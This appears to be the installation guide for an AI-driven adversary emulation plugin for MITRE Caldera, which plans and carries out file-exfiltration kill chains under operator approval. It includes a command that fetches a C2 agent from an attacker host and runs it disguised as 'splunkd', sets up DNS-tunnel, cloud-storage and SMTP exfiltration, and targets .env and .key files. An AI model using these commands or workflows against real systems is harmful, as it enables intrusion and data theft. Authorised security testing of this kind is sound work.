Skip to content

INSTALL.md

Latest commit

 

History

History
404 lines (300 loc) · 19.3 KB

INSTALL.md

File metadata and controls

404 lines (300 loc) · 19.3 KB
Raw

Seed & Vine, Installation & Usage Guide

Table of Contents

  1. Introduction
  2. System Requirements
  3. Installing MITRE Caldera
  4. Installing Seed & Vine
  5. Plugin Integration
  6. Exfiltration Infrastructure Setup
  7. Operating Seed & Vine

1. Introduction

1.1 About Seed & Vine

Seed & Vine is an add-on plugin for MITRE Caldera that uses artificial intelligence (AI) to automatically simulate cyber attacks. It is designed to help security teams test the resilience of their systems in a smarter and more controlled way. Unlike standard simulations that follow a fixed sequence rigidly, Seed & Vine can dynamically adapt its attack steps based on conditions found in the field, while remaining under the full oversight and control of a human operator.

1.2 Document Purpose

This document is a step-by-step guide for installing, configuring, and running Seed & Vine on top of the MITRE Caldera platform. It is intended for anyone who wants to use this plugin in their security testing environment, from initial preparation through to a fully running operation.

1.3 Requirements Summary

Before starting installation, ensure your environment meets the following:

  • Ubuntu 24.04 LTS (64-bit)
  • Python 3.10 or higher
  • Minimum 16GB RAM
  • Minimum 4-core CPU
  • MITRE Caldera 5.3.0
  • NodeJS 16 or higher
  • API Key from an LLM provider (Anthropic or Google Gemini)
  • Active internet connection
  • GoLang 1.24+ (optional, for dynamic agent compilation)

2. System Requirements

2.1 Minimum Hardware Specifications

  • OS: Ubuntu 24.04 LTS (64-bit)
  • CPU: 4 cores, 3.0 GHz or higher
  • RAM: 16 GB
  • Storage: 20 GB+ available, SSD recommended
  • GoLang: 1.24+ (optional, for dynamic agent compilation)

2.2 Required Software

The following software must be installed before proceeding:

Core Software:

  • Git: to download source code from repositories
  • Python 3.11: primary programming language used by the system
  • NodeJS 16+: to run the Caldera web interface
  • GoLang 1.24+ (optional), for dynamic agent compilation
  • MITRE Caldera 5.3.0: the adversary emulation platform that Seed & Vine runs on

Caldera and Seed & Vine dependencies are installed automatically via pip install -r requirements.txt in their respective folders.

2.3 Required API Keys

Seed & Vine supports multiple LLM providers, both local and external API-based. For best results, use an external provider that supports SSE streaming.

Recommended providers:

Other providers such as OpenAI, Mistral, or local models like Ollama can also be used as long as they are supported by LiteLLM and configured correctly in conf/llm_providers.yaml.

3. Installing MITRE Caldera

Skip this section if MITRE Caldera is already installed.

3.1 Clone the Caldera Repository

Create a virtual environment first to avoid conflicts with existing Python packages:

cd ~
python3 -m venv .calderaenv
cd .calderaenv
source bin/activate

Then clone Caldera and install its dependencies:

git clone https://github.com/mitre/caldera.git --recursive --tag 5.3.0
cd caldera
pip3 install -r requirements.txt

3.2 Server Command Options

The following flags are available when starting Caldera:

  • --insecure: uses Caldera's default built-in configuration with preset credentials. Required if following this guide.
  • --build: builds the Caldera web UI. Required on first run or after adding new plugins.
  • --fresh: clears previous operation data on startup. Use when starting fresh.
  • -l: sets the log level. Options: DEBUG, INFO, WARNING, ERROR, CRITICAL.
  • -E: selects a specific environment config file.
  • -P: starts Caldera with a single specific plugin only.

When using Seed & Vine, add -l INFO to monitor AI activity through the server log:

python3 server.py --insecure --build -l INFO

Note: The --insecure flag uses hardcoded default credentials suitable for Proof of Concept testing environments. This configuration is not recommended for production use.

3.3 Starting Caldera

Run Caldera with:

python3 server.py --insecure --build -l INFO

Wait until the Caldera ASCII logo appears in the terminal along with the message All systems ready.

Then open a browser and go to http://localhost:8888. Log in with username red and password admin.

4. Installing Seed & Vine

4.1 Clone the Seed & Vine Repository

Before proceeding, stop the Caldera server by pressing Ctrl + C in the terminal where it is running.

Make sure the virtual environment is active, then clone the Seed & Vine repository into the Caldera plugins folder:

cd ~/.calderaenv/caldera/plugins
git clone https://github.com/Zhaxstronaut/seed_and_vine.git seed_and_vine

4.2 Install Dependencies

Navigate to the Seed & Vine folder and install all required dependencies:

cd seed_and_vine
pip3 install -r requirements.txt

4.3 Configure the .env File

Create the .env file from the provided template:

cp .env.example .env

By default, CALDERA_API_KEY is already set to ADMIN123, which is correct for local testing environments. No changes are needed unless you have changed the default Caldera API key.

5. Plugin Integration

5.1 Activate the Plugin in Caldera

Open conf/default.yml in the Caldera folder and add seed_and_vine to the plugins list:

nano ~/.calderaenv/caldera/conf/default.yml

Ensure the plugins section looks like this:

plugins:
- access
- atomic
- compass
- debrief
- fieldmanual
- manx
- response
- sandcat
- stockpile
- training
- seed_and_vine
- emu

Save the file when done.

5.2 Verify Plugin Detection

Restart Caldera:

cd ~/.calderaenv/caldera
python3 server.py --insecure --build -l INFO

Open a browser and go to http://localhost:8888. If the plugin is detected successfully, the Seed & Vine menu will appear in the Caldera sidebar.

6. Exfiltration Infrastructure Setup

This section explains how to set up the supporting infrastructure for data exfiltration simulation. Seed & Vine supports two groups of exfiltration methods, each requiring different infrastructure.

This infrastructure is not started automatically by Caldera. The operator must run it manually in a separate terminal before starting any operation.

6.1 Infrastructure Scripts Overview

The plugins/seed_and_vine/scripts/ folder contains two main files:

  • auto_infra.sh: the main script that automatically manages all exfiltration infrastructure based on the selected mode.
  • dns_exfil_listener.py: a DNS data receiver server managed automatically by auto_infra.sh. Does not need to be run manually.

6.2 Infrastructure Modes

Two modes are available, corresponding to the two threat actor groups in Seed & Vine:

Lazarus Mode activates Mailpit as a local SMTP server and refreshes the Dropbox token. Used for smtp and dropbox exfiltration methods.

APT41 Mode activates a Cloudflare tunnel, DNS listener, and refreshes the OneDrive token. Used for cloudflare_c2, dns_tunnel, and onedrive exfiltration methods.

6.3 Installing Required Binaries

Before running the scripts, ensure the following binaries are installed:

Install cloudflared:

wget -O ~/cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod +x ~/cloudflared

Install mailpit:

sudo bash < <(curl -sL https://raw.githubusercontent.com/axllent/mailpit/develop/install.sh)

6.4 Configuring Credentials

Create the .env file from the provided template:

cd plugins/seed_and_vine/scripts/
cp .env.example .env
nano .env

For Lazarus Mode, fill in the following Dropbox credentials:

For APT41 Mode, fill in the following OneDrive credentials:

  • ONEDRIVE_CLIENT_ID, ONEDRIVE_CLIENT_SECRET, and ONEDRIVE_TENANT_ID, from the Azure Portal at https://portal.azure.com
  • ONEDRIVE_REFRESH_TOKEN: obtained via the OAuth2 authorization flow with Files.ReadWrite.All permission

6.5 Configuring the Fact Source

Seed & Vine uses a Fact Source named Seed and Vine Exfil Data to store infrastructure information needed during operations. This Fact Source can be accessed via Configuration > Fact Sources in Caldera.

Facts that must be filled in manually:

  • c2_exfil_url: Caldera server address for receiving exfiltrated files. Example: http://100.119.114.43:8888/file/upload
  • caldera_ip: IP of the attacker machine running Caldera. Example: 100.119.114.43
  • caldera_api_key: Caldera API key. Default: ADMIN123
  • smtp_host: IP of the machine running Mailpit. Usually the same as caldera_ip
  • smtp_port: Mailpit SMTP port. Default: 1025
  • smtp_user: sender email address. Example: test@sv.lab
  • smtp_pass: SMTP password. Default: test
  • smtp_recipient: recipient email address for exfiltrated data. Example: exfil@sv.lab
  • dns_exfil_domain: domain for DNS tunneling. Default: exfil.sv.lab

Facts filled in automatically by auto_infra.sh:

  • cloudflare_c2_url: filled automatically when APT41 mode is started
  • dropbox_access_token: filled automatically when Lazarus mode is started
  • onedrive_access_token: filled automatically when APT41 mode is started

6.6 Starting the Infrastructure

Run the script in a separate terminal before starting any operation. Choose the mode matching your threat actor:

For Lazarus Mode (SMTP and Dropbox exfiltration):

cd plugins/seed_and_vine/scripts/
./auto_infra.sh start lazarus

For APT41 Mode (Cloudflare, DNS tunnel, and OneDrive exfiltration):

cd plugins/seed_and_vine/scripts/
./auto_infra.sh start apt41

After running, the script activates in the background and the terminal is free to use again.

To check infrastructure status:

./auto_infra.sh status

To stop all infrastructure after the operation is complete:

./auto_infra.sh stop

Note: Do not run this script as root.

7. Operating Seed & Vine

7.1 Configuring the AI Engine

Open the Settings page by clicking the ⚙ button in the top-right corner of the Seed & Vine main page.

7.1.1 LLM Providers

This section is used to add and configure LLM providers that the AI will use during operations. Click + ADD PROVIDER to add a new provider.

Each provider has the following fields:

  • Provider Type: the provider family. Options: Anthropic, Gemini, OpenAI, Groq, Ollama, Custom.
  • Model Name: the specific model string. Example: claude-haiku-4-5-20251001 for Anthropic or gemini-3.1-flash-lite-preview for Gemini.
  • API Key: the provider API key. Stored automatically in the .env file and never saved directly in the config file.
  • Priority: provider priority order. Lower number = higher priority. The highest priority provider is used first.

To set API usage limits, expand Rate Limits:

  • Max TPM: maximum tokens per minute. Set to 0 for unlimited.
  • Max RPM: maximum requests per minute. Set to 0 for unlimited.
  • Max RPD: maximum requests per day. Set to 0 for unlimited.
  • Max Tokens: maximum output tokens per request. Set to 0 for unlimited.

7.1.2 AI Model Settings

This section only appears if at least one Anthropic or Gemini provider is in the list.

For Gemini providers:

  • Extended Thinking: enables Gemini to reason more deeply before responding. Improves planning quality but increases latency and cost. Default: OFF.
  • Thinking Level: controls how deeply Gemini thinks. Options: Minimal, Low, Medium, High. Only visible when Extended Thinking is ON. Default: High.

For Anthropic providers:

  • Thinking Mode: controls Claude's reasoning depth. Options:
    • DISABLED: direct response without additional reasoning.
    • EXTENDED: activates deep reasoning with a set token budget.
    • ADAPTIVE: Claude decides when to think more deeply. Only available for sonnet-4-6 or opus-4-6 models.
  • Budget Tokens: token allocation for Claude's internal reasoning. Only visible when Thinking Mode = EXTENDED. Default: 8000, range: 1024-32000.
  • Prompt Caching: caches system prompts and tool schemas that do not change between iterations, saving up to 90% on input token costs. Default: ON. Strongly recommended to keep enabled.

7.1.3 General Settings

  • DSPy Temperature: controls the randomness of AI output. 0.0 produces consistent and reproducible output; values closer to 1.0 produce more varied output. For adversary emulation, keep at 0.0 for consistent AI behavior. Applies globally to all providers.
  • Auto-switch on Error: automatically switches to the next provider if the primary provider fails. Default: ON.
  • Log Provider Switches: logs every provider switch. Useful for monitoring provider stability. Default: ON.
  • Retry Primary After: how many minutes before the system retries the primary provider after switching to a fallback. Default: 30 minutes.

7.1.4 System Info (Read-Only)

Displays system constants that can only be changed in app/constants.py:

  • Max Planning Loops (30), maximum AI planning iterations before the operation is terminated.
  • Approval Timeout (1800s), time to wait for operator approval. Auto-times out after 30 minutes.
  • Execution Timeout (120s), maximum time for a single command to execute on the target machine.
  • Max Consecutive Rejects (5), maximum consecutive operator rejections before the operation is automatically stopped.

After configuration is complete, click SAVE SETTINGS. Changes take effect on the next operation start. Caldera server must be restarted for new API keys to be read by the system.

7.2 Deploying an Agent to the Target Machine

Before starting an operation, an agent must be deployed to the target machine so Caldera can send commands to it.

Open Caldera in the browser, go to Campaigns > Agents, then click + Deploy an agent.

Select the Manx agent from the dropdown, then select the platform matching the target machine's OS (Linux, Windows, or Darwin).

Before copying the command, update the IP address in the following fields to match the attacker machine IP (where Caldera is running):

  • app.contact.http: example: http://100.119.114.43:8888
  • app.contact.tcp: example: 100.119.114.43:7010

Once the IP is updated, the command below will update automatically. Copy and run it in the target machine's terminal:

server="http://<ATTACKER_IP>:8888";
socket="<ATTACKER_IP>:7010";
contact="tcp";
curl -s -X POST -H "file:manx.go" -H "platform:linux" $server/file/download > splunkd;
chmod +x splunkd;
./splunkd -http $server -socket $socket -contact $contact -v

If successful, the target terminal will show TCP established and the agent will appear in the Caldera Agents page.

7.3 Creating a New Operation

From the Seed & Vine main page, click START NEW OPERATION.

Step 01 / Mission Objective, Select the operation objective. Currently only Exfiltration is available. Click to select.

Step 02 / Target Agent, Select the active agent on the target machine. Agents with ACTIVE status will appear in the dropdown.

Step 03 / Target Assets, Select Intellectual Property to target files such as source code, design documents, or sensitive data. Choose one or more file extensions: .txt, .pdf, .docx, .xlsx, .pptx, .key, .env. Fill in Target Directory to limit the file search to a specific directory, or leave empty to search the entire system.

Step 04 / Threat Actor, Select the threat actor to emulate:

  • APT41 (Double Dragon): uses dns_tunnel, cloudflare_c2, and onedrive exfiltration methods.
  • Lazarus Group: uses c2_channel, smtp, and dropbox exfiltration methods.

After selecting a threat actor, the exfiltration priority order appears below. The order can be changed by drag and drop.

Step 05 / Fact Source, Select Seed and Vine Exfil Data as the Fact Source. Ensure Pseudonymization status shows ACTIVE before proceeding.

Once all steps are complete, click the start button. The AI will begin planning and executing the kill chain automatically.

7.4 Monitoring the Operation

After the operation starts, all activity can be monitored in real-time through the panels on the Seed & Vine main page.

Operation Control, displays overall operation status. Kill Chain shows the active phase and its status. Governor FSM shows the AI's current internal state (IDLE, PLANNING, EXECUTING, or WAITING FOR APPROVAL), along with Loop, Backward Moves, and Tasks Done statistics.

AI Activity Stream, displays real-time AI activity logs per iteration, including the reasoning and planning process and the rationale behind each decision.

Pseudonymization Engine, displays active pseudonymization activity. The Audit Log on the left shows all encode/decode operations with timestamps. AI Receives on the right shows only pseudonyms, real values are never transmitted to the external LLM. Statistics at the bottom show Encoded, Decoded, Sanitized, and Failed counts.

Rejection Memory, records all abilities rejected by the operator. The AI will not propose the same ability again during the current operation. Maximum capacity: 5 rejections.

Caldera Server Log, AI activity can also be monitored through the Caldera server log in the terminal. The log shows execution details for each ability including status, output, and execution time.

MLflow, for deeper analysis, all operation traces are recorded in MLflow. Open MLflow at http://localhost:5000, go to the seed-and-vine-operation experiment, and select a trace ID to view. Each trace shows the full conversation between the system and the LLM including inputs, outputs, and token usage.

After the operation completes or is stopped, the monitoring page remains active showing the final operation results. Click OPERATION COMPLETED, CLICK TO CLOSE at the bottom to close and return to the Seed & Vine main page.

Operation History, after closing, a summary of the operation appears on the Seed & Vine main page under Previous Sessions. Click VIEW LOG on any entry to see the full operation report. The report can be exported as JSON by clicking EXPORT LOG JSON.

7.5 Using the Approval Gate

When the AI proposes an ability with CRITICAL risk, the operation automatically pauses and displays the OPERATOR AUTHORIZATION REQUIRED modal. This modal shows the AI's reasoning for the proposal and the details of the ability to be executed.

The operator has three options:

  • APPROVE & EXECUTE: approve and execute the ability. Keyboard shortcut: ENTER.
  • REJECT: reject the ability. The AI will look for an alternative and this ability will be recorded in Rejection Memory. Keyboard shortcut: ESC.
  • ABORT OPERATION: permanently stop the entire operation.

7.6 Using the Kill Switch

To stop an operation at any time without waiting for an approval gate, click the TERMINATE OPERATION button at the bottom of the page. This immediately and forcefully stops the entire operation.

Seed & Vine, Authorized Academic Adversary Emulation | Isolated Lab Environment Only